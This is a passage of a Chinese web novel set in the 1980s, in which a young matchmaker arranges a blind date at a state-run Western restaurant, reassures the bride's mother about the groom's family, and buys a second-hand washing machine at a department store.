孙大妈态度是一如既往的热情，黄父对明晞的态度也不错，一点没有领导居高临下的感觉，反而对明晞很是热情。 黄父：“小明同志吃饭了没，要是没吃饭，我给你做点？” 明晞忙摆手：“您不用麻烦，我吃完了出来的。” 黄父：“哦哦。那你喝点茶吃点水果吧。你先跟你孙大妈聊，我这就去切水果。” 他说完，不等明晞反应，放下报纸，大步朝厨房走去。 孙大妈看明晞不自在的样子摆摆手，说：“你甭管他，让他忙活去吧。” “对了，小明，你怎么这么晚过来，是有什么事？” 明晞正了正神色：“是这样，我刚去吴振生家跟他说了萍萍想跟他相看的事，他也是同意见面的，所以我过来问问萍萍什么时候方便见面。” 孙秀珍惊喜：“哎呀，那可是好事，你等我现在去把萍萍喊出来哈！” 她转身钻进屋里，拽着黄萍萍出来。 黄萍萍应该是打算睡了，被拽出来的时候，脸上还带着困意，她声音慵懒地抱怨：“哎呀，妈，干嘛呀。” 孙秀珍：“萍萍你醒醒，看看谁来了！” “爱谁来谁来，管我什么事。”黄萍萍正说着转头看见坐在自家沙发上的明晞，她立马害羞起来，嘟着嘴说。 “哎呀，妈，有外人来家里，你怎么不提前跟我说一声，我头发都还乱着呢。” 孙秀珍拍了黄萍萍胳膊一把：“你害羞什么，小明同志又不是外人。” 黄萍萍：“妈！” 她一边不满的抱怨着，一边理着头发。 等理好头发，才瞪着眼睛说：“你这么晚怎么过来了？” 明晞笑：“我刚才去吴振生家，跟他说你想跟他见面的事了。” 黄萍萍脸瞬间爆红：“什么呀，我才没有想跟吴振生见面，是你想介绍我们俩相看，我才同意跟他相看的……” 她重点强调：“我才没有很想跟吴振生见面呢！” 明晞早已掌握如何对付黄萍萍这一款傲娇，她顺毛捋：“对对对，你没有很想跟他见面，是我，都是我安排的。” 黄萍萍：…… 她感觉自己被敷衍了！ 不等黄萍萍说话，明晞就开口：“我去问了吴振生，他也想跟你见一面看看，所以我过来问问，你什么时候方便见面？” 黄萍萍注意力顺利被明晞带着走：“什么时候方便见面？我什么时候都很方便啊。” 她指指自己腿上的石膏，说：“反正我这阵子也不上班，什么时候都有时间，看吴振生什么时候方便吧。” 明晞：“行。” 在明晞跟吴振生的商量下，最后相看的时间定在礼拜五中午，也就是后天。 礼拜五这天，明晞一直睡到太阳晒屁股才起床。 她起来的时候，赵素兰早已经去上班，就连赵素兰给明晞留的早饭都已经放凉了。 不过明晞也不嫌弃，抓起一个包子就啃起来。 嗯，不错，是肉馅的。 原本家里是舍不得吃这么好的，就算买肉包子，那也是之买原主的份，她自己是舍不得吃的。还是明晞来了之后，看赵素兰过得紧紧巴巴，不舍得吃不舍得穿，硬是跟赵素兰闹，说她就要跟赵素兰吃一样的，赵素兰吃什么，她也吃什么。 赵素兰看明晞是来真的，也不敢苛待自己了。 当然啊，明晞也知道，都是钱闹的。 要不是家里紧张，谁不想吃好的。 所以明晞现在每个月给赵素兰三十块钱当生活费。 赵素兰当然是不愿意收的，别说她不愿意收明晞的钱。就说这三十块钱生活费，说出去都吓人，一斤猪肉才一块钱，你一个月生活费就要给三十块钱？这是打算天天吃肉啊？你什么家庭啊，天天吃肉？ 但是没办法，明晞硬是要给。 赵素兰拗不过明晞，只能把钱收下。这钱她没花，悄悄的攒起来了。 明晞花钱大手大脚，今天说家里吃的没有营养，让她买有营养的吃；明天说洗衣服太累人，要给家里添置洗衣机；后天又说黑白电视看起来不好看，要买彩电。 要不是她拦着，明晞手里那点钱早花光了。 既然明晞非要给生活费，那她不如收下，省得钱在明晞手里，被她花了。 明晞也不是看不出赵素兰心里的想法，不过她是一点也不在乎滴。 钱没了再赚呗。 现在可是八十年代。 是经济发展的黄金时代。 在这个时代，放头猪在风口上，都能起飞。 对于清楚后面几十年经济发展的明晞来说，她一点都不怕兜里没钱。 明晞就着热水啃了两个肉包子，吃完打了个饱嗝。 别说，这年头的东西分量就是实诚，一点没有缺斤少两。 两个包子就给明晞吃撑了。 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明晞：“不好看啊！” 最主要的不是好不好看，是太浮夸了！ 跟要上电视一样。 吴振生：“我看电视里不都这么打扮的吗？” 明晞：“那是电视啊！你见过谁现实中这样的！” 她拽着吴振生肩膀：“去去去，趁现在时间还来得及，你赶紧去把头上这些给我洗了，还有把你口袋里那块手帕拿出来。” 吴振生犹豫一下，还是选择相信明晞的话，飞快地钻进屋里，把头洗完出来。 看着重新出来的吴振生，明晞这才满意。 吴振生有一双下垂眼，五官偏清秀，头发散下来，看着是清清爽爽的奶狗相。梳上去反而显得不伦不类。 眼瞅着快到约定好的时间，明晞拽着吴振生就往出走，两个人一边往约定的地方赶，吴振生一边不放心地问。 “明同志，我现在这样真的好看吗？不用再打扮打扮吗？我这头发不用再做个造型吗？还有你帮我看看，我这眼圈是不是有点黑，要不要抹点粉遮一遮？还有还有……” 听吴振生叨叨半天，明晞耳朵都要起茧子，她低吼一声：“够了！” 她转头，不解地问：“你一个大男人，一直纠结这个干啥？” 吴振生下意识红了脸，结结巴巴地解释：“你不是说，黄同志是看上我的长相了吗？我寻思我要是打扮的不好看，她不想要我了呢。” 明晞“：“……” 明晞难得遇到自己竟然接不上的话。 她一瞬间大脑空白，盯着吴振生沉默好半天，最终憋出一句：“你、你现在这样就挺好看的。” 吴振生摸着自己面皮，美滋滋地问：“真的吗？” 得到明晞点头后，他才松口气。 黄萍萍家境比自己好太多，吴振生清楚自己跟黄萍萍在一起，就是吃软饭。 既然是吃软饭。 那就必须得有吃软饭的自觉。 黄萍萍喜欢好看的。 那他就得打扮的好看。 23. 相看 明晞沉默了一路，总算领着吴振生到约定好的餐厅，黄萍萍提前预定的座位，明晞跟门口的服务员报过名字，服务员就领着两人进了餐厅。 走过旋转门，映入眼帘的是挑高的圆形穹顶，晶莹剔透的水晶吊灯，雕刻着精美图案的罗马立柱……餐厅的装潢无处不在彰显华丽与贵气。 在门口还精神抖擞的吴振生打一进门，就开始畏手畏脚起来，脚步都放得极轻，像是怕把脚下的大理石地砖踩坏一样。 明晞一巴掌抽到吴振生后背：“畏畏缩缩的像什么样，背给我立起来，胸脯子给我挺起来，好好一帅小伙，精气神给我拿出来！” 吴振生下意识挺胸抬背。 明晞：“这才对嘛，过来一路都好好的，怎么到地方你给我掉链子？” 吴振生小声：“我没来过这种地方，这地方忒唬人。” 门口接待的服务员都穿着一身笔挺发亮的白西装，看着比他特意买来的这身都要高级不少。 明晞：“嗐，再高级不也是个吃饭的地方。” 吴振生：“话是这么说，可是……” “别可是了，我看见人了。”明晞朝不远处坐着的黄萍萍招招手，拉着吴振生快步走过去。 明晞：“不好意思不好意思，我们来迟了。” 孙大妈忙摆手：“没有没有，是我们过来得早。” 她一边说，一边在光明正大地偷瞄明晞身后的吴振生。说起来，这还是孙秀珍第一次见到吴振生。上次吴振生去明家的时候，孙秀珍和赵素兰在屋里，根本就没跟吴振生见到面。 孙秀珍上下打量着吴振生。 嗯，别说，这小伙长得是不错。 比冯帆精神多了，眉眼看着也挺清正，看着是个正经过日子的人。 明晞给两边介绍：“孙大妈，萍萍，这是吴振生吴同志。吴振生，这是孙大妈还有她闺女，黄萍萍黄同志。” 吴振生上前一步，弯下腰九十度鞠躬：“孙大妈好，黄同志好。” 孙秀珍和黄萍萍被吴振生一下给整傻眼。 这孩子怎么一上来就行这么大礼。 明晞也没想到吴振生来这么一出，赶紧拽着他后脖领子把他拽起来。 “哈哈哈哈，吴同志就是这么一个有礼貌的人。”明晞干笑着打圆场。 孙秀珍：“有礼貌好，有礼貌是好事。” “不过咱们都不是什么外人，没必要那么讲礼貌。” 吴振生后知后觉地意识到自己又丢脸了。 他尴尬地挠挠头，眼神都不知道往哪放，慌乱之间，眼神恰好跟黄萍萍含笑的视线对上。 黄萍萍：这人还怪可爱的。 寒暄两句，大家坐下，孙秀珍主动招呼：“这会儿时候不早，小明同志，你们饿了吧，喏，这是菜单，你们看看点点什么。” 明晞接过菜单随手递给吴振生。 她一个介绍人，也就是个陪衬，让她点菜不合适。 吴振生愣了愣，接过菜单点开。 虽然是西餐厅，但毕竟是国营的，价格还算是亲民，比较贵的罐焖牛肉也才不过三块钱。 吴振生翻了翻菜单，菜单上的名字花里胡哨，有些菜光看名字，根本猜不出来是什么，他翻了两页还是不知道要点什么。不过他这人有一点好，那就是老实。 他放下菜单，一双下垂眼直直地看向黄萍萍看，诚实地说：“我没来过这儿，不知道有什么好吃的，黄同志你对这应该比较熟，你点吧。” 黄萍萍没跟他客气，爽快地接过菜单：“那就我点啦。你有没有什么忌口的，或者不吃的？” 吴振生：“没有，我什么都吃。” 黄萍萍：“那你喜欢吃甜的吗？” 吴振生：“喜欢。” 黄萍萍：“我也喜欢。我跟你说，你要是喜欢吃甜的，必须得点这里的红菜汤，超级好吃，还有罐焖牛肉，配上这里的面包，超级好吃。” 吴振生咽了咽口水：“那就点这个！” 黄萍萍：“还有还有，这里的冰激凌也超级好吃！” 吴振生：“那也来一份！” 两个人叽叽喳喳地商量吃什么，明晞和孙秀珍看着两个人的脑袋快挨到一块去，不由得露出笑容来。 商量好点什么菜，两个年轻人也打开话匣子。 黄萍萍：“你也喜欢吃甜的啊？” 吴振：“嗯喜欢，我小时候家里条件不好，我妈一年也就只有过年的时候会买糖，买的还都是那种硬邦邦的糖块，味道其实不怎么好，但是我小时候特别喜欢。因为糖块大，含着一块能吃好久。” 黄萍萍一时间有些慌张。 她爸妈双职工，家里又只有她一个独生女，所以她从小就不缺糖吃，什么水果糖、奶糖、就连那年头少见的巧克力都吃腻了。没有吴振生这样的经历，一时之间不知道要怎么接话。 她想了想，说：“我家里有好多口味的糖，你要是喜欢的话，下次我给你带。” 吴振生愣了一下，随即笑出来，他一双虎牙都露了出来，说：“那你喜欢吃什么，下次我也给你带。” 听到这话，在边上一直装透明人的明晞没忍住冲孙秀珍眨眨眼睛。 俩人约下次见面了，这事儿有门。 一顿饭吃完，孙秀珍是怎么看怎么满意吴振生，正好自家女儿对他也是有意思的样子，孙秀珍都快恨不得直接把两个人的事定下来了。 不过，孙秀珍心里还是有些担忧的。 她抿了抿嘴开口：“小吴，我听说你家兄弟挺多的？” 吴振生点头：“对，我家算上我，兄弟五个。” 孙秀珍：“小明之前跟我说，你们家哥几个年纪差的还不小，你大哥二哥都结婚了，你小弟现在还在上初中是吧？” 吴振生依旧点点头。 孙秀珍：“那你家里是怎么打算的？你结婚以后也打算跟你家那一大家子挤在一块？” 她干笑两声说：“你别觉得大妈是挑拨你分家，大妈我就是单纯想问问。” 孙秀珍可不是单纯问问那么简单。吴家孩子多，黄萍萍要是真嫁到吴家，一进门除了婆婆，还得跟上面两个嫂子打交道，更别提吴家下面还有俩小叔子。 自家孩子自家清楚。 黄萍萍从小就被家里保护的好，高中毕业进厂子，也是在黄父的看管之下，压根没经历过复杂的人际关系，心思简单。 吴家那么多人住在一个屋檐下，免不了会产生小磨小擦，要是吴家两个嫂子和吴母都是心大的 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一开始她还有点糊涂，后面她倒是反应过来，她妈之所以问吴振生这些事，是为了她跟吴振生结婚后考虑。 结婚后。 一想到这，黄萍萍就忍不住害羞起来。 她妈想得可真远。 她刚跟吴振生第一次见面，她妈竟然就想到结婚以后的事上了！ 不过，黄萍萍自己也忍不住开始想象。 她跟吴振生结婚吗？ 她以前听单位一个同事姐姐说，结婚一定不能冲动，必须得充分调查好对方，尤其是吃饭的口味。她同事口淡，吃不了辣，她同事爱人一家其实从川城搬过来的，嗜辣如命，每顿饭里都必须有辣椒，甚至什么都没有，光靠辣椒面都能吃完一碗饭。同事跟爱人家里完全吃不到一块去，因为这个家里老打架，闹矛盾。 不过，黄萍萍觉得自己跟吴振生应该不会有这样的问题。 毕竟她们俩吃饭的口味还挺像的。 不过，他们俩结婚以后可能会因为都喜欢吃一样东西抢菜发生矛盾。 黄萍萍认真思考，不过很快地又觉得是自己想多了。 她不是个小气的，吴振生也不是护食的人。 刚才吴振生还给她夹菜了呢！ 吴振生看她喜欢吃罐焖牛肉，把他那份分给了她一大半呢！ 所以她们应该不会因为吃什么吵架。 嗯，应该是不会的！ 黄萍萍一脸认真地思考着。这个时候孙秀珍跟吴振生话已经说得差不多了。 明晞抬手瞅了眼时间。说：“孙大妈，吃得差不多，咱们收拾收拾走吧？” 不等孙秀珍回话，她就亲热的挽住孙秀珍胳膊：“孙大妈，我听说百货商场今天上新货，一会儿咱们俩过去逛逛呗？至于黄同志和吴同志，咱们就不管了，让他们自己找地方玩去！” 她一边说一边冲孙秀珍眨眨眼睛。 孙秀珍立马明白她意思：“行！” 两个人对视一眼，立马起身，不等黄萍萍和吴振生反应过来，就一溜烟儿的跑没影了。 吴振生：？？？ 黄萍萍：？？？ 24. 买洗衣机 明晞两条腿抡得快冒出火星子，拽着孙秀珍嗖嗖的，很快就跑出饭店大门。 等出了门，孙秀珍可是跑不动了，她扶着膝盖，大口喘粗气：“不行不行，我跑不动了，小明你让我歇歇。” 明晞抓抓头发，她就想着给两个年轻人留单独相处的空间，忘了孙秀珍年纪不小，腿脚不好的事。 她干笑两声，说：“呵呵，歇一会儿，您歇一会儿吧。” 孙秀珍一边喘着粗气，一边回头往餐厅里面看，虽然隔着旋转门，餐厅里面的场景一点也看不见，但她还是忍不住回头看。 “小明啊，你说萍萍跟小吴能成不？” 明晞没回答孙秀珍的问题，反而问：“我瞅两个人聊得挺好的，您还有什么放心不下来的？” 孙秀珍抿抿嘴：“我这哪能放下心来啊！” 养儿一百岁长忧九十九，更不要说是找对象结婚这种大事。 虽说刚才她看着黄萍萍跟吴振生聊得挺好，但感情这种事，谁也说不准。 万一两个人聊得好是好，但就是没看上对方呢。 就算两个人看对眼了，她这心里也放心不下。 孙秀珍：“哎，小明，你再跟我说说吴振生家里情况，他爸妈好不好相处，还有他前面两个嫂子为人怎么样？” 作为媒人，明晞倒是真打听过吴家家里的情况，这会儿孙秀珍问，她就老实说：“吴振生爸妈两个人不难相处，我之前打听过，不管是厂子里，还是院里的邻居，都说这两口子是老实人，不怎么爱跟外人起争执。不过嘛，他们俩都是老传统老观念，觉得长子顶门立柱，所以在家里只重视吴老大，除了吴老大，也就是家里最小的老五受点重视。其他几个孩子，老两口相对就没那么上心。” 明晞苦笑：“也不怕您知道，吴振生是自己找上门让我妈给介绍对象的。” 孙秀珍一听这话就明白。 吴家老两口何止是对吴振生没那么上心啊，明明就是一点都不上心。 但凡把孩子放在心上的家长，都不会不操心孩子结婚的事，也不会轮到吴振生自己找媒人介绍对象。 其他人家可能一听这话就觉得不合适了，对自己儿子都不上心，那自家闺女嫁进去，也别指着公公婆婆能有多帮衬了。 但孙秀珍不这么想。 公公婆婆不管事好啊！ 反正她家就这么一个闺女，公公婆婆不管事，她跟她家老头子管啊！ 只要公公婆婆不是那种事多，天天掺和两个孩子小家，喜欢挑拨是非的就行。 明晞：“至于吴振生两个嫂子，我倒是没听说特别的。就听说两个人都挺能干的。他大嫂没工作，经常到街道办领活干，是他们那条街道活干得最快的。” 现在每个街道办都会办个小工厂，说是工厂，其实也不是正经厂子，就是统一从附近的大厂子接一些手工活，比如缝抹布、串珠子这种活，给街道内没工作的住户做，按件给钱。便宜的一件可能几厘。 不过可别小瞧这活，要是干活利索的，一个月也能赚个十几块钱呢，足够一家三口的伙食费了。 明晞：“至于老二媳妇，这个我听说的不多，老二媳妇跟吴老二是今年才结婚的，听说她跟吴老二是高中同学，毕业之后进了棉纺厂，就挺能干一个人。” 她总结：“反正吴家这俩媳妇儿都不是啥难相处的人，我去打听的时候，也没听说她们跟谁红过脸。” 不是难相处的人就好。 孙秀珍听了这话，又放心不少。 结合家庭来看，吴振生这小伙子倒是不错，虽然条件不太好，但家里也不算是拖累，起码家里都是讲理的人，最重要的是这小伙子知道上进，脑子还清醒。 孙秀珍不怕黄萍萍找个家里条件不好的对象，就怕黄萍萍找一个家里条件不好，脑子还不清醒，自己日子过得还不怎么样呢，就想着帮扶家里其他人。 她们筒子楼里就有一家这样的，那家男主人一个月工资七十，单给他家里就得拿去六十五，说要给弟弟妹妹学费，给他父母养老费，还要帮衬他嫁出去的姐姐和马上要结婚的弟弟。他家里那边日子倒是好过了，听说今年都有钱重新起房子了，但他自己媳妇和闺女饿得面黄肌瘦。平时她在楼道里看见那家媳妇儿和小闺女，都觉得可怜。 孙秀珍心里杂七杂八想了不少，眼睛又忍不住的往饭店里瞅，明晞上前挽住她的胳膊。 “孙大妈，别瞅了，再瞅一会儿萍萍跟吴振生该出来了。” 她拉着孙秀珍：“咱们先走，让两个人单独相处相处，有什么问题，等萍萍晚上回去您再问她。” 孙秀珍一想也是，便跟着明晞离开。 明晞带着孙秀珍往百货商店走。 她倒也不是骗黄萍萍的，她是真听说百货商店今天新来一批货，打算去看看呢。 明晞跟孙秀珍一块踏进百货商店的大门，她们来的这家刚好是孙秀珍工作的那家店，两个人一进门，孙秀珍同事就迎上来。 “哎，老孙，你今儿不是请假陪你闺女去相看去了吗，怎么又过来了？” 孙秀珍：“嗐，年轻人相看，我这种长辈就不跟着凑热闹，让他们年轻人单独相处去吧。” 对面一听这话就知道黄萍萍相看过程应该挺顺利，便笑着说：“哟，这么说你家闺女好事将近啊？” 孙秀珍谦虚：“那可不一定，他们年轻人的事，我可搞不懂。” 对面调笑，这个时候她倒是注意到孙秀珍边上站着的明晞，好奇地问：“哎，秀珍，这是……” 孙秀珍家里就黄萍萍一个女儿，这是大家伙都知道的，今天突然领着一个陌生姑娘过来，她有点懵。 不由得心说，这难道是孙秀珍家的亲戚？ 孙秀珍拍拍脑：“对了，还没给你介绍，这位是给我闺女介绍对象的媒人，明晞明同志。” 对面一愣，随即像是发现了新大陆一般，用奇怪的眼神对着明晞上下打量。 明晞见怪不怪，别人听说她是媒人之后，第一反应都是这个。 她扬着脸，大大方方地任由对面的人盯着看，这倒是把对面的人给搞不好意思了。 那人甭管心里多么好奇明晞一个小姑娘为什么干媒人这一行，面上却收回视线。 虽然明晞没说什么，但孙秀珍怕对面 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看明晞点头，孙秀珍跟同事打了声招呼，从对方那拿到钥匙，领着明晞往后面仓库走。 明晞来到仓库，很快看到孙秀珍说的那台洗衣机。那是一台白菊牌的老式双桶洗衣机，明晞看着还挺亲切。 上辈子明晞所在的孤儿院用的就是这样的洗衣机，年龄比明晞都大，但直到明晞考上大学离开孤儿院，那台洗衣机都还在“岗位”上工作。质量那是相当的可靠。 明晞上前检查一番，和孙秀珍说的一样，功能都完好，只是被蹭到一块漆，而且掉漆的地方是在正面，方方正正的正中间，一眼就能看到的地方，十分的显眼。 或许就是因为这样，这台洗衣机才卖不出去。 明晞觉得无所谓，她掉不掉漆的有什么，只要能正常用就行。 她只想尽快的解放双手。 明晞：“孙大妈，这台洗衣机多少钱？” 孙秀珍：“不要票三百七。” 明晞：“行，孙大妈你给我开票吧。” 她身上正好带着钱，直接买下，早买下早安装，早享受。 孙秀珍眼里闪过一丝惊讶，倒是很快点头：“行，我找人给你开票。” 明晞跟着孙秀珍从仓库出来，身体倚在靠门口的柜台上，等着孙秀珍同事给她开票，就在这时，一个熟悉的声音传来。 “你个小兔崽子又闹离家出走！你是纯心气老娘呢吧，老娘今天巴巴找你一上午，结果你跑这儿来逍遥了！” 明晞抬眼望过去，只见不远处丁玉梅正揪着卫宁耳朵念叨着。 明晞：…… 这场景是不是有点眼熟。 她感觉前不久刚看见过一次。 好巧不巧，卫宁的眼神此时也看了过来，两个人的眼神正正好好撞上。 明晞眨了眨眼睛，就见对面卫宁如白玉的面皮瞬间染上一抹酡红。 明晞：哇哦。 这个人会变脸哦。